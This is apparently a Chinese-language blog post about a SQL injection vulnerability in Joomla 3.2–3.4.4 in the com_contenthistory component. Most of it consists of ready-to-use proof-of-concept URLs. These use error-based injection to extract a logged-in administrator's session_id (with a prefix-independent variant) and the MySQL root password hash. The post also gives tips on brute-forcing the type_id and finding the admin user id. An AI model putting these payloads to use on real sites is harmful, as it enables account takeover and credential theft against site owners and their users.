看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞,可获得管理员权限,详细分析见此 Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access。
注入点存在于 /administrator/components/com_contenthistory/models/history.php
。注入产生的直接原因是 populateState()
函数没有对 list[select]
进行过滤。
原文里的代码分析已经很详细了,想看中文的可以看这篇分析,所以不再啰嗦,直接贴大家关心的 POC。
POC 如下:
index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
其中 item_id
是文章的编号,type_id
是该文章对应的分类 id,userid
是管理员账户 id。
(item_id 必须在 jml_ucm_history 表里可以找到,不过新建一篇文章后就会自动出现的)
由下图可以看出文章编号直接可以在 URL 里找到,对应的 type_id 一般不会超过 20,所以暴力破解即可。
而管理员用户 id 可以在 jml_user_usergroup_map
里找到:group_id
对应的角色:
执行 POC 以后报错(注意报错注入出的 session_id
最后多了一个 1):
该种报错原理可参考 lijiejie 的一篇文章:https://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/)
查看管理员的 session_id:
此时 jml_session 表中的数据:
Tips: 原文章中没有说明表前缀的处理方法,其实把 jml_
换成 %23_
即可(原文评论中有提到)。所以更通用的直接获取登录管理员 session_id 的 POC 为:
index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM %23__session where userid=(select user_id from %23__user_usergroup_map where group_id=8 limit 1) limit 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
获取开启了远程访问的 mysql root 密码:
报错注入方式参考使用exp进行SQL报错注入
index.php?option=com_contenthistory&view=history&item_id=73&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select password from mysql.user where user='root' and host='%')x)))
PS: 刚写完就看到 sebug 有人发了…… http://www.sebug.net/vuldb/ssvid-89680
PPS: 原文下有个老兄吐槽自己在 2013 年就发现了这个洞(其实是另一个注入点)